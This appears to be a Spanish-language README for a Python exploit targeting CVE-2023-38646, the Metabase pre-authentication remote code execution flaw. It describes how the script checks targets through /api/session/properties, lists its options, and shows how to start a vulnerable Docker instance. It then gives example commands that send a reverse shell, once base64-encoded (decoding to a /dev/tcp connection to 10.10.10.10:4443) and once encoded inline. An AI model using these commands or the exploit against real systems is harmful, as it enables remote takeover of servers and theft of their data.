
Script en Python para explotar CVE-2023-38646 Metabase Pre-Auth RCE mediante inyección SQL
Script en Python para explotar CVE-2023-38646 Metabase Pre-Auth RCE mediante inyección SQL
El script realizará una solicitud GET a /api/session/properties para obtener el token de configuración y evaluar la explotabilidad del objetivo. Si es vulnerable, imprimirá el token de configuración; de lo contrario, finalizará después de mostrar un mensaje de error.
Si se utiliza la opción -x y el objetivo es vulnerable, utilizará el payload proporcionado para intentar explotar la vulnerabilidad.
Más información en este excelente artículo del equipo que descubrió la vulnerabilidad: https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
Usage: CVE-2023-38646.py [-h] [-x BASE64 PAYLOAD] url
Metabase Pre-Auth RCE Exploit
positional arguments:
url Url of the metabase instance
optional arguments:
-h, --help Show this help message and exit
-x BASE64_PAYLOAD Exploits the vulnerability
Si es necesario, puede iniciar rápidamente un entorno de prueba en un contenedor Docker usando este comando:
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
Después de visitar http://127.0.0.1:3000/ para finalizar la configuración, e iniciar un listener,
Puede explotar el RCE con algo como esto:
python3 ./CVE-2023-38646.py -x c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNDQ0MyAwPiYx http://127.0.0.1:3000/
# If you prefer this and use bash (or anything but fish really)
# you should be able to command substitution to encode your payload directly inline like so
python3 ./CVE-2023-38646.py -x $(echo "sh -i >& /dev/tcp/127.0.0.1/4443 0>&1" | base64) http://127.0.0.1:3000/
o simplemente obtenga su propio shell inverso codificado en base64 visitando revshells.com